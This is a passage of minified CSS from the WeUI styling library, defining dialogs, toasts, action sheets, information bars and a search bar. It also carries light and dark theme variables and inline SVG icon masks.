.weui-icon-btn{right:0}.weui-half-screen-dialog__title{display:block;color:rgba(0,0,0,.9);color:var(--weui-FG-0);font-weight:500;font-size:15px}.weui-half-screen-dialog__subtitle{display:block;color:rgba(0,0,0,.55);color:var(--weui-FG-1);font-size:10px}.weui-half-screen-dialog__bd{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-height:0;overflow-y:auto;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto;padding-bottom:56px;font-size:14px;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-half-screen-dialog__desc{font-size:17px;font-weight:500;color:rgba(0,0,0,.9);color:var(--weui-FG-0);line-height:1.4}.weui-half-screen-dialog__tips{padding-top:16px;font-size:14px;color:rgba(0,0,0,.3);color:var(--weui-FG-2);line-height:1.4}.weui-half-screen-dialog__ft{padding:0 0 64px;text-align:center}.weui-half-screen-dialog__ft .weui-btn:nth-last-child(n+2),.weui-half-screen-dialog__ft .weui-btn:nth-last-child(n+2)+.weui-btn{display:inline-block;vertical-align:top;margin:0 8px;width:120px}.weui-half-screen-dialog__btn-area+.weui-half-screen-dialog__attachment-area{margin-top:24px;margin-bottom:-34px}.weui-half-screen-dialog_large{max-height:none;top:16px}.weui-half-screen-dialog__slide-icon{position:absolute;top:12px;display:-webkit-box;display:-webkit-flex;display:flex;width:40px;height:4px;border-radius:2px;background:#ededed;background:var(--weui-BG-0);-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.wx-root[data-weui-theme="dark"] .weui-half-screen-dialog__slide-icon,body[data-weui-theme="dark"] .weui-half-screen-dialog__slide-icon{background:rgba(0,0,0,.1);background:var(--weui-FG-3)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-half-screen-dialog__slide-icon,body:not([data-weui-theme="light"]) .weui-half-screen-dialog__slide-icon{background:rgba(0,0,0,.1);background:var(--weui-FG-3)}}.weui-half-screen-dialog__slide-icon .weui-icon-arrow{-webkit-transform:rotate(90deg);transform:rotate(90deg);width:.8em;height:1.6em;opacity:0}.weui-half-screen-dialog_grab .weui-half-screen-dialog__hd{box-sizing:border-box;min-height:0;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-half-screen-dialog_grab .weui-half-screen-dialog__hd__grab{padding:12px 16px 16px;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-half-screen-dialog_grab .weui-half-screen-dialog__hd__grab,.weui-half-screen-dialog_grab .weui-half-screen-dialog__hd__nav{width:100%}.weui-half-screen-dialog_grab .weui-half-screen-dialog__hd__nav{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;min-height:64px}.weui-half-screen-dialog_slide .weui-half-screen-dialog__hd{min-height:0;padding:12px 16px 16px;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-half-screen-dialog__btn-area{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-half-screen-dialog__btn-area .weui-btn{width:184px;padding-left:16px;padding-right:16px}.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2),.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2)+.weui-btn{margin:0 8px;width:136px;min-width:0}.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2)+.weui-btn:first-child,.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2):first-child{margin-left:0}.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2)+.weui-btn:last-child,.weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2):last-child{margin-right:0}.weui-half-screen-dialog_btn-wrap .weui-half-screen-dialog__btn-area{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column}.weui-half-screen-dialog_btn-wrap .weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2),.weui-half-screen-dialog_btn-wrap .weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2)+.weui-btn{width:184px;margin:16px 0 0}.weui-half-screen-dialog_btn-wrap .weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2)+.weui-btn:first-child,.weui-half-screen-dialog_btn-wrap .weui-half-screen-dialog__btn-area .weui-btn:nth-last-child(n+2):first-child{margin-top:0}.weui-icon-more{-webkit-mask:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E %3Cpath fill-opacity='.9' fill-rule='evenodd' d='M5 10.25a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5zm7 0a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5zm7 0a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5z'/%3E%3C/svg%3E") no-repeat 50% 50%;mask:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E %3Cpath fill-opacity='.9' fill-rule='evenodd' d='M5 10.25a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5zm7 0a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5zm7 0a1.75 1.75 0 1 1 0 3.5 1.75 1.75 0 0 1 0-3.5z'/%3E%3C/svg%3E") no-repeat 50% 50%}.weui-icon-slide-down{-webkit-mask-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='24' height='24' viewBox='0 0 24 24'%3E %3Cdefs%3E %3Crect id='dda90263-a290-4594-926f-6aba8cb4779f-a' width='24' height='24' x='0' y='0' rx='12'/%3E %3C/defs%3E %3Cg fill='none' fill-rule='evenodd'%3E %3Cmask id='dda90263-a290-4594-926f-6aba8cb4779f-b' fill='%23fff'%3E %3Cuse xlink:href='%23dda90263-a290-4594-926f-6aba8cb4779f-a'/%3E %3C/mask%3E %3Cuse fill='%23000' fill-opacity='.05' xlink:href='%23dda90263-a290-4594-926f-6aba8cb4779f-a'/%3E %3Cg fill-opacity='.9' mask='url(%23dda90263-a290-4594-926f-6aba8cb4779f-b)'%3E %3Cpath fill='%23000' d='M11.407 15.464L6.693 10.75l1.179-1.179 4.125 4.125 4.124-4.125L17.3 10.75l-4.714 4.714a.833.833 0 0 1-1.179 0z'/%3E %3C/g%3E %3C/g%3E%3C/svg%3E");mask-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='24' height='24' viewBox='0 0 24 24'%3E %3Cdefs%3E %3Crect id='dda90263-a290-4594-926f-6aba8cb4779f-a' width='24' height='24' x='0' y='0' rx='12'/%3E %3C/defs%3E %3Cg fill='none' fill-rule='evenodd'%3E %3Cmask id='dda90263-a290-4594-926f-6aba8cb4779f-b' fill='%23fff'%3E %3Cuse xlink:href='%23dda90263-a290-4594-926f-6aba8cb4779f-a'/%3E %3C/mask%3E %3Cuse fill='%23000' fill-opacity='.05' xlink:href='%23dda90263-a290-4594-926f-6aba8cb4779f-a'/%3E %3Cg fill-opacity='.9' mask='url(%23dda90263-a290-4594-926f-6aba8cb4779f-b)'%3E %3Cpath fill='%23000' d='M11.407 15.464L6.693 10.75l1.179-1.179 4.125 4.125 4.124-4.125L17.3 10.75l-4.714 4.714a.833.833 0 0 1-1.179 0z'/%3E %3C/g%3E %3C/g%3E%3C/svg%3E")}.weui-half-screen-dialog__hd .weui-icon-btn{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);color:inherit}.weui-half-screen-dialog__hd .weui-icon-btn:active{opacity:.5}.weui-half-screen-dialog__hd .weui-icon-btn::after{content:"";position:absolute;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);min-width:44px;min-height:44px;width:100%;height:100%}.weui-icon-btn.weui-icon-btn{outline:0;-webkit-appearance:none;-webkit-tap-highlight-color:rgba(0,0,0,0);border-width:0;background-color:transparent;color:rgba(0,0,0,.9);color:var(--weui-FG-0);font-size:0;width:auto;height:auto}.weui-icon-btn_goback.weui-icon-btn_goback{width:.71rem;-webkit-mask:url("data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10%2019.438L8.955%2020.5l-7.666-7.79a1.02%201.02%200%20010-1.42L8.955%203.5%2010%204.563%202.682%2012%2010%2019.438z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E") no-repeat 50% 50%;mask:url("data:image/svg+xml,%3Csvg%20width%3D%2212%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M10%2019.438L8.955%2020.5l-7.666-7.79a1.02%201.02%200%20010-1.42L8.955%203.5%2010%204.563%202.682%2012%2010%2019.438z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E") no-repeat 50% 50%;-webkit-mask-size:100%;mask-size:100%}.weui-icon-btn_close.weui-icon-btn_close,.weui-icon-btn_goback.weui-icon-btn_goback{color:rgba(0,0,0,.9);color:var(--weui-FG-0);background-color:currentColor;height:1.42rem}.weui-icon-btn_close.weui-icon-btn_close{width:1.42rem;-webkit-mask:url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.25%2010.693L6.057%204.5%205%205.557l6.193%206.193L5%2017.943%206.057%2019l6.193-6.193L18.443%2019l1.057-1.057-6.193-6.193L19.5%205.557%2018.443%204.5z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E") no-repeat 50% 50%;mask:url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.25%2010.693L6.057%204.5%205%205.557l6.193%206.193L5%2017.943%206.057%2019l6.193-6.193L18.443%2019l1.057-1.057-6.193-6.193L19.5%205.557%2018.443%204.5z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E") no-repeat 50% 50%;-webkit-mask-size:100%;mask-size:100%}.weui-toast{min-width:132px;max-width:320px;padding:28px 20px;top:40%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);text-align:center;border-radius:8px;color:hsla(0,0%,100%,.9);-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;background-color:#4c4c4c;background-color:var(--weui-BG-4);-webkit-filter:drop-shadow(0 8px 25px rgba(0,0,0,.1));filter:drop-shadow(0 8px 25px rgba(0,0,0,.1));box-sizing:border-box;line-height:1.4}.weui-toast,.weui-toast__wrp{position:fixed;z-index:5500;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center}.weui-toast__wrp{top:0;left:0;right:0;bottom:0}.weui-toast__wrp .weui-toast{position:static;-webkit-transform:none;transform:none;margin-top:-10%}.weui-toast_text{padding:12px 20px;min-width:0;min-height:0}.weui-icon_toast{display:block;margin-bottom:16px;-webkit-flex-shrink:0;flex-shrink:0}.weui-icon_toast.weui-icon_toast{width:4em;height:4em}.weui-icon_toast.weui-icon-success-no-circle,.weui-icon_toast.weui-icon-warn{color:hsla(0,0%,100%,.9)}.weui-icon_toast.weui-loading{width:1em;height:1em;font-size:40px}.weui-icon_toast.weui-primary-loading{display:-webkit-box;display:-webkit-flex;display:flex;width:1em;height:1em;font-size:40px;color:#ededed}.weui-icon_toast.weui-primary-loading::before{border-width:4px 0 4px 4px}.weui-icon_toast.weui-primary-loading::after{border-width:4px 4px 4px 0}.weui-icon_toast.weui-primary-loading .weui-primary-loading__dot{width:4px;height:4px;border-top-right-radius:4px;border-bottom-right-radius:4px}.weui-toast__content{font-size:14px;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto;max-width:100%}.weui-mask{background:rgba(0,0,0,.5)}.weui-mask,.weui-mask_transparent{position:fixed;z-index:1000;top:0;right:0;left:0;bottom:0}.weui-actionsheet{position:fixed;left:0;bottom:0;-webkit-transform:translateY(100%);transform:translateY(100%);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:5000;width:100%;background-color:#f7f7f7;background-color:var(--weui-BG-1);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;border-top-left-radius:12px;border-top-right-radius:12px;overflow:hidden;outline:0}.weui-actionsheet__title{position:relative;height:56px;padding:8px 24px;padding:8px calc(24px + constant(safe-area-inset-right)) 8px calc(24px + constant(safe-area-inset-left));padding:8px calc(24px + env(safe-area-inset-right)) 8px calc(24px + env(safe-area-inset-left));box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;flex-direction:column;text-align:center;font-size:12px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);line-height:1.4;background:#fff;background:var(--weui-BG-2)}.weui-actionsheet__title::before{content:" ";position:absolute;left:0;bottom:0;right:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-actionsheet__title .weui-actionsheet__title-text{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.weui-actionsheet__action,.weui-actionsheet__menu{color:rgba(0,0,0,.9);color:var(--weui-FG-0);background-color:#fff;background-color:var(--weui-BG-2)}.weui-actionsheet__action{margin-top:8px}.weui-actionsheet__action .weui-actionsheet__cell:last-child{padding-bottom:calc(16px + constant(safe-area-inset-bottom));padding-bottom:calc(16px + env(safe-area-inset-bottom))}.weui-actionsheet__action .weui-actionsheet__cell.weui-actionsheet__cell_tips:last-child{padding-bottom:calc(12px + constant(safe-area-inset-bottom));padding-bottom:calc(12px + env(safe-area-inset-bottom))}.weui-actionsheet__cell{position:relative;padding:16px;padding:16px calc(16px + constant(safe-area-inset-right)) 16px calc(16px + constant(safe-area-inset-left));padding:16px calc(16px + env(safe-area-inset-right)) 16px calc(16px + env(safe-area-inset-left));text-align:center;font-size:17px;line-height:1.41176471;overflow:hidden}.weui-actionsheet__cell::before{content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-actionsheet__cell:active{background-color:#ececec;background-color:var(--weui-BG-COLOR-ACTIVE)}.weui-actionsheet__cell:first-child::before{display:none}.weui-actionsheet__cell__tips{display:block;font-size:12px;color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-actionsheet__cell_tips{padding-top:12px;padding-bottom:12px}.weui-actionsheet__cell_warn{color:#fa5151;color:var(--weui-RED)}.weui-skin_android .weui-actionsheet{position:fixed;left:50%;top:50%;bottom:auto;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);width:274px;box-sizing:border-box;-webkit-backface-visibility:hidden;backface-visibility:hidden;background:transparent;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;border-top-left-radius:0;border-top-right-radius:0}.weui-skin_android .weui-actionsheet__action{display:none}.weui-skin_android .weui-actionsheet__menu{border-radius:2px;box-shadow:0 6px 30px 0 rgba(0,0,0,.1)}.weui-skin_android .weui-actionsheet__cell{padding:16px;font-size:17px;line-height:1.41176471;color:rgba(0,0,0,.9);color:var(--weui-FG-0);text-align:left}.weui-skin_android .weui-actionsheet__cell:first-child{border-top-left-radius:2px;border-top-right-radius:2px}.weui-skin_android .weui-actionsheet__cell:last-child{border-bottom-left-radius:2px;border-bottom-right-radius:2px}.weui-actionsheet_toggle{-webkit-transform:translate(0);transform:translate(0)}.weui-loadmore{width:65%;margin:20px auto;text-align:center;font-size:0}.weui-loadmore .weui-loading,.weui-loadmore .weui-primary-loading{margin-right:8px}.weui-loadmore__tips{display:inline-block;vertical-align:middle;font-size:14px;line-height:1.6;color:rgba(0,0,0,.55);color:var(--weui-FG-1)}.weui-loadmore_line{border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);margin-top:32px}.weui-loadmore_line .weui-loadmore__tips{position:relative;top:-.9em;padding:0 8px;background-color:#fff;background-color:var(--weui-BG-2)}.weui-loadmore_dot .weui-loadmore__tips::before{content:" ";width:4px;height:4px;border-radius:50%;background-color:rgba(0,0,0,.1);background-color:var(--weui-FG-3);display:inline-block;position:relative;vertical-align:0;top:-.16em}.weui-badge{display:inline-block;padding:.15em .4em;min-width:.66666667em;border-radius:18px;background-color:#fa5151;background-color:var(--weui-RED);color:#fff;line-height:1.2;text-align:center;font-size:12px;vertical-align:middle}.weui-badge_dot{padding:.4em;min-width:0}.weui-toptips{display:none;position:fixed;-webkit-transform:translateZ(0);transform:translateZ(0);top:8px;left:8px;right:8px;padding:10px;border-radius:8px;font-size:14px;text-align:center;color:#fff;z-index:5500;word-wrap:break-word;word-break:break-all}.weui-toptips_warn{background-color:#fa5151;background-color:var(--weui-RED)}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-FG:#fff}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-FG:#fff}}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-LINK:#fff}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-LINK:#fff}}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-ICON:#fff}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-ICON:#fff}}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-BG:#fa5151}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-BG:#fa5151}}.wx-root,body{--weui-informationBar-warnWeak-FG:rgba(0,0,0,.55)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-warnWeak-FG:hsla(0,0%,100%,.5)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-warnWeak-FG:hsla(0,0%,100%,.5)}}.wx-root,body{--weui-informationBar-warnWeak-LINK:#576b95}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-warnWeak-LINK:#7d90a9}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-warnWeak-LINK:#7d90a9}}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-warnWeak-ICON:#fa5151}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-warnWeak-ICON:#fa5151}}.wx-root,.wx-root[data-weui-theme="dark"],body,body[data-weui-theme="dark"]{--weui-informationBar-warnWeak-BG:rgba(250,81,81,.1)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-warnWeak-BG:rgba(250,81,81,.1)}}.wx-root,body{--weui-informationBar-noColor-BG:rgba(0,0,0,.3)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-noColor-BG:hsla(0,0%,100%,.3)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-noColor-BG:hsla(0,0%,100%,.3)}}.wx-root,body{--weui-informationBar-tipsStrong-BG:#fa9d3b}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-tipsStrong-BG:#c87d2f}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-tipsStrong-BG:#c87d2f}}.wx-root,body{--weui-informationBar-tipsWeak-FG:rgba(0,0,0,.55)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-tipsWeak-FG:hsla(0,0%,100%,.5)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-tipsWeak-FG:hsla(0,0%,100%,.5)}}.wx-root,body{--weui-informationBar-tipsWeak-LINK:#576b95}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-tipsWeak-LINK:#7d90a9}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-tipsWeak-LINK:#7d90a9}}.wx-root,body{--weui-informationBar-tipsWeak-ICON:rgba(0,0,0,.55)}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-tipsWeak-ICON:hsla(0,0%,100%,.5)}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-tipsWeak-ICON:hsla(0,0%,100%,.5)}}.wx-root,body{--weui-informationBar-tipsWeak-BG:#f7f7f7}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-informationBar-tipsWeak-BG:#1e1e1e}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-informationBar-tipsWeak-BG:#1e1e1e}}.weui-information-bar{position:fixed;top:8px;left:8px;right:8px;padding:12px 16px;border-radius:8px;font-size:14px;z-index:5500;word-wrap:break-word;word-break:break-all;-webkit-transform:translateZ(0);transform:translateZ(0);color:#fff;color:var(--weui-informationBar-FG);background:#fa5151;background:var(--weui-informationBar-BG)}.weui-information-bar .weui-btn_icon{margin-left:8px}.weui-information-bar .weui-btn_icon:active{opacity:.5}.weui-information-bar [class*="weui-icon-"]{color:#fff;color:var(--weui-informationBar-ICON)}.weui-information-bar .weui-link{color:#fff;color:var(--weui-informationBar-LINK)}.weui-information-bar .weui-btn_icon [class*="weui-icon-"]{color:#fff;color:var(--weui-informationBar-FG)}.weui-information-bar,.weui-information-bar__ft,.weui-information-bar__hd{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-information-bar__hd [class*="weui-icon-"]{margin-right:8px}.weui-information-bar__bd{-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:0}.weui-information-bar__bd:first-child:last-child{text-align:center}.weui-information-bar_warn-weak{color:rgba(0,0,0,.55);color:var(--weui-informationBar-warnWeak-FG);background:rgba(250,81,81,.1);background:var(--weui-informationBar-warnWeak-BG)}.weui-information-bar_warn-weak [class*="weui-icon-"]{color:#fa5151;color:var(--weui-informationBar-warnWeak-ICON)}.weui-information-bar_warn-weak .weui-link{color:#576b95;color:var(--weui-informationBar-warnWeak-LINK)}.weui-information-bar_warn-weak .weui-btn_icon [class*="weui-icon-"]{color:rgba(0,0,0,.55);color:var(--weui-informationBar-warnWeak-FG)}.weui-information-bar_warn-no-color{background:rgba(0,0,0,.3);background:var(--weui-informationBar-noColor-BG)}.weui-information-bar_tips-strong{background:#fa9d3b;background:var(--weui-informationBar-tipsStrong-BG)}.weui-information-bar_tips-weak{color:rgba(0,0,0,.55);color:var(--weui-informationBar-tipsWeak-FG);background:#f7f7f7;background:var(--weui-informationBar-tipsWeak-BG)}.weui-information-bar_tips-weak [class*="weui-icon-"]{color:rgba(0,0,0,.55);color:var(--weui-informationBar-tipsWeak-ICON)}.weui-information-bar_tips-weak .weui-link{color:#576b95;color:var(--weui-informationBar-tipsWeak-LINK)}.weui-information-bar_tips-weak .weui-btn_icon [class*="weui-icon-"]{color:rgba(0,0,0,.55);color:var(--weui-informationBar-tipsWeak-FG)}.weui-list-tips{list-style:none;padding-top:24px;padding-bottom:24px;line-height:1.4;font-size:14px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);position:relative}.weui-list-tips::before{content:"";content:" ";position:absolute;left:0;top:0;right:0;height:1px;border-top:1px solid rgba(0,0,0,.1);border-top:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-list-tips:last-child{padding-bottom:0}.weui-list-tips__item{position:relative;padding-left:15px;margin:16px 0}.weui-list-tips__item::before{content:"\2022";position:absolute;left:0;top:-.1em}.weui-list-tips__item:first-child{margin-top:0}.weui-form-preview__list+.weui-list-tips>.weui-list-tips__item:first-child{margin-top:6px}.weui-search-bar{position:relative;padding:10px 12px 10px 16px;display:-webkit-box;display:-webkit-flex;display:flex;box-sizing:border-box;background-color:#ededed;background-color:var(--weui-BG-0)}.weui-search-bar .weui-icon-search{font-size:10px;width:2.4em;height:2.4em;margin-right:4px;-webkit-flex-shrink:0;flex-shrink:0;color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-search-bar.weui-search-bar_focusing .weui-search-bar__box{visibility:visible}.weui-search-bar.weui-search-bar_focusing .weui-search-bar__label{display:none}.weui-search-bar.weui-search-bar_focusing .weui-search-bar__back-btn,.weui-search-bar.weui-search-bar_focusing .weui-search-bar__cancel-btn{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-search-bar__form{background-color:#fff;background-color:var(--weui-BG-2);border-radius:6px}.weui-search-bar__box,.weui-search-bar__form{position:relative;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-flex:1;-webkit-flex:1;flex:1;min-width:0}.weui-search-bar__box{visibility:hidden;z-index:1}.weui-search-bar__box .weui-search-bar__input{padding:6px 0;border:0;width:100%;font-size:17px;height:1.41176471em;line-height:1.41176471;box-sizing:content-box;background:transparent;caret-color:#07c160;caret-color:var(--weui-BRAND);color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-search-bar__box .weui-search-bar__input:focus{outline:none}.weui-search-bar__box .weui-search-bar__input:focus+.weui-search-bar__mask{display:none}.weui-search-bar__box .weui-search-bar__input:placeholder-shown+.weui-search-bar__mask{display:none}.weui-search-bar__box .weui-search-bar__input:placeholder-shown+.weui-search-bar__mask+.weui-icon-clear{display:none}.weui-search-bar__box .weui-icon-search{margin-left:8px}.weui-search-bar__box .weui-icon-clear{-webkit-flex-shrink:0;flex-shrink:0;margin-left:8px;margin-right:12px;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;width:auto;height:auto;background:none;-webkit-mask:none;mask:none;position:relative}.weui-search-bar__box .weui-icon-clear::before{content:"";display:block;width:2em;height:2em;font-size:10px;-webkit-mask-position:0 0;mask-position:0 0;-webkit-mask-position:50% 50%;mask-position:50% 50%;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100%;mask-size:100%;background-color:currentColor;-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M13.06%2012l3.006-3.005-1.06-1.06L12%2010.938%208.995%207.934l-1.06%201.06L10.938%2012l-3.005%203.005%201.06%201.06L12%2013.062l3.005%203.005%201.06-1.06L13.062%2012zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M13.06%2012l3.006-3.005-1.06-1.06L12%2010.938%208.995%207.934l-1.06%201.06L10.938%2012l-3.005%203.005%201.06%201.06L12%2013.062l3.005%203.005%201.06-1.06L13.062%2012zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%2F%3E%3C%2Fsvg%3E)}.weui-search-bar__box .weui-icon-clear::after{content:"";position:absolute;top:50%;left:0;width:44px;height:calc(1.41176471em + 